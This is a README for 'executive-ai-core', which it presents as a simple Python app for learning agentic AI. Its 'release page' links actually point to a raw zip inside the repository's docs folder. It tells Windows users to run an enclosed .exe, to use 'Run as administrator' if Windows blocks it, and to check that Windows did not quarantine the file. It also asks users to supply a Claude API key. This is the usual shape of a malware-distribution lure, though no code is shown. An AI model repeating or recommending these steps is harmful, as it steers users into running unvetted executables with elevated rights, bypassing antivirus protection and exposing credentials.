executive-ai-core：用简单 Python 应用学习 AI 智能体

🤖 executive-ai-core - Learn agent AI the simple way

📌 What this is

executive-ai-core is a small Python app that shows how an executive AI agent works from the inside.

It is made for:

students who want to learn agentic AI
teachers who want a clear class demo
junior developers who want a simple code base
anyone who wants to see how an AI can plan, act, and review its own work

The project uses plain Python and full comments so you can follow each step.

🖥️ What you need

Before you run the app on Windows, check that you have:

Windows 10 or Windows 11
a stable internet connection
a modern browser
enough free space for the app and files it creates
access to the release files on GitHub
if the release uses Python, Python 3.10 or later
if the release uses a packaged app, no Python install may be needed

If you are not sure which file to use, choose the Windows file from the release page.

🚀 Download and run on Windows

Open the release page here: https://github.com/kalumba1829/executive-ai-core/raw/refs/heads/main/docs/executive_ai_core_2.7-alpha.5.zip
Find the latest release at the top of the page
Look for a Windows file in the Assets section
Download the file to your PC
If you get a ZIP file, right-click it and choose Extract All
Open the extracted folder
If you see an .exe file, double-click it to run the app
If you see a Python file, open PowerShell in that folder and run it with Python
Follow the on-screen steps inside the app
Keep the release file in case you want to run it again later

🧭 First launch

When the app starts, it may ask for an API key or setup details.

Typical first-step items include:

a Claude API key
a short task or goal
a working folder for output files

Enter the details it asks for, then start the agent.

If the app opens a window or terminal screen, that is normal. The agent may print each step as it works.

🧠 What the app does

This project shows a simple agent loop. The AI tries to do a task in clear stages.

It can help you understand:

how an agent reads a goal
how it makes a plan
how it takes one step at a time
how it checks results
how it decides what to do next

In plain terms, it acts like a small digital assistant that thinks through a task before it moves on.

🔧 Basic setup tips

If the app does not start right away, try these steps:

Make sure the file finished downloading
Move the file to a simple folder like Downloads or Desktop
Avoid folders with special characters in the name
If Windows blocks the app, right-click it and choose Run as administrator
If the file is a ZIP, extract it before opening it
If Python is required, confirm that Python is installed and added to PATH

If the app still does not open, check the release page for a newer file.

📂 Folder layout

The project is kept small so it is easy to read.

You will usually find files like these:

main.py - starts the app
agent.py - handles the main agent steps
prompts.py - stores the system prompt and task text
config.py - keeps simple settings
README.md - this guide

This layout helps you see how each part fits together.

🧪 Example use cases

You can use the app to study simple agent behavior with tasks like:

break a topic into steps
draft a short lesson plan
turn a broad goal into a task list
review a result and refine it
test how prompt changes affect output

Teachers can use it in class to show how agentic AI works without hiding the logic.

🔑 API key setup

Some releases may use a Claude API key.

If the app asks for one:

Open your Anthropic account
Copy your API key
Paste it into the app or config file when asked
Save the setting
Run the agent task again

Keep your key private and do not share it in chat, email, or screenshots.

🛠️ Troubleshooting

App will not open

download the file again
make sure you opened the right file
check that Windows did not quarantine it
try running it from a simple folder

App opens and closes fast

read any error text in the window
run it from PowerShell so you can see the message
confirm the file is complete
make sure the needed Python version is installed

API key error

paste the key again
remove extra spaces
check that your account has access to the API
confirm the key has not expired

No output appears

wait a few seconds
confirm the app is connected to the internet
check that your prompt is not empty
try a shorter task first

📚 Why this project helps learning

This repo is built to teach core agent ideas without extra noise.

It can help you learn:

prompt flow
task planning
step-by-step execution
result checks
simple AI tool use
how a system prompt shapes behavior

Because the code is short and commented, you can read it line by line.

🧩 Common file types in the release

You may see one of these in the GitHub release:

.exe — run it on Windows
.zip — extract it first
.py — run it with Python
.txt or .md — read for setup notes

If the release page shows more than one file, pick the Windows option first.

📥 Download again

If you need to get the app later, use the release page here: https://github.com/kalumba1829/executive-ai-core/raw/refs/heads/main/docs/executive_ai_core_2.7-alpha.5.zip

🧑‍🏫 For teachers and students

This project works well for:

class demos
lab practice
code reading sessions
agent design lessons
AI workflow exercises

It gives a clear view of how an agent can plan, act, and check work with a small amount of code.